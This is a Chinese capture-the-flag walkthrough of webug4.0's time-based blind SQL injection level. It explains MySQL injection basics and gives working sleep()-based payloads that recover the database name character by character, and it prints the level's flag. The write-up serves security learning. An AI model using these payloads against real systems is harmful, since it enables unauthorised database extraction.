webug4.0-延时注入

 延时注入介绍:对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

0x01 Mysql数据相关知识

1. mysql三种注释风格:

单行注释:sql语句后使用字符#或者--进行注释

多行注释:使用/* */将sql语句圈起来注释

内联注释:内联注释是MySQL数据库为了保持与其他数据库兼容,特意添加的新功能。把Mysql特有的语句放在/*! */中

2.Union联合查询:

1.Union操作符用于拼接两个或者多select查询语句

2.Union中的每个查询必须拥有相同的列数

3.Order by语句:

1.Order by 语句用于根据指定的列对结果集进行排序

2.Order by 语句默认按照升序对记录进行排序

4.Sql注入常用的函数:

1.

substr() 截取字符
mid() 截取字符
database() 当前数据库
ord()与ascii() 字符与ASCII互转
limit() 控制查询位置
length() 探测字段长度
sleep 延时
@@basedir() mysql安装路径

0x02 漏洞利用

1. 打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。

2. 老一套探测sql注入

正常页面

webug4.0-延时注入_第1张图片

1.加 ' 发现内容变了

webug4.0-延时注入_第2张图片

2.加 ' and 1=1 %23 发现内容没变

3.加 ' and 1=2 %23 发现内容变了

4.发现注入点 且 并没有报错 不是显错注入

2.通过延时判断是否可以通过延时注入:

输入 输出
1' and if(length(database())>4,sleep(3),1) %23 延时3秒
1' and if(length(database())>10,sleep(3),1) %23 立即刷新
1' and if(length(database())>7,sleep(3),1) %23 立即刷新
1' and if(length(database())=5,sleep(3),1) %23 延时3秒

判断出来可以通过延时注入此注入点,并且数据库的长度为5

3.判断数据库名称:

1' and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23 延时3秒
1' and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23 立即刷新
... ...
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1) %23 延时3秒

以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w

然后改动substr第二个参数,发现数据库名为webug

4.剩下的依次需要判断数据库里的表的个数、每个数据表的长度、数据表的具体值、数据表字段个数、长度、值、 还有就是指定字段的值得长度以及具体值。和bool注入类似,如果不知道怎么继续操作的,请看我另一篇文章。

最后贴出flag : gfdgdfsdg

谢谢观看

0x03 结语

                                                原理和bool类型注入类似,不过这个是需要根据页面响应时间来判断。

你可能感兴趣的:(WEBUG4.0通关)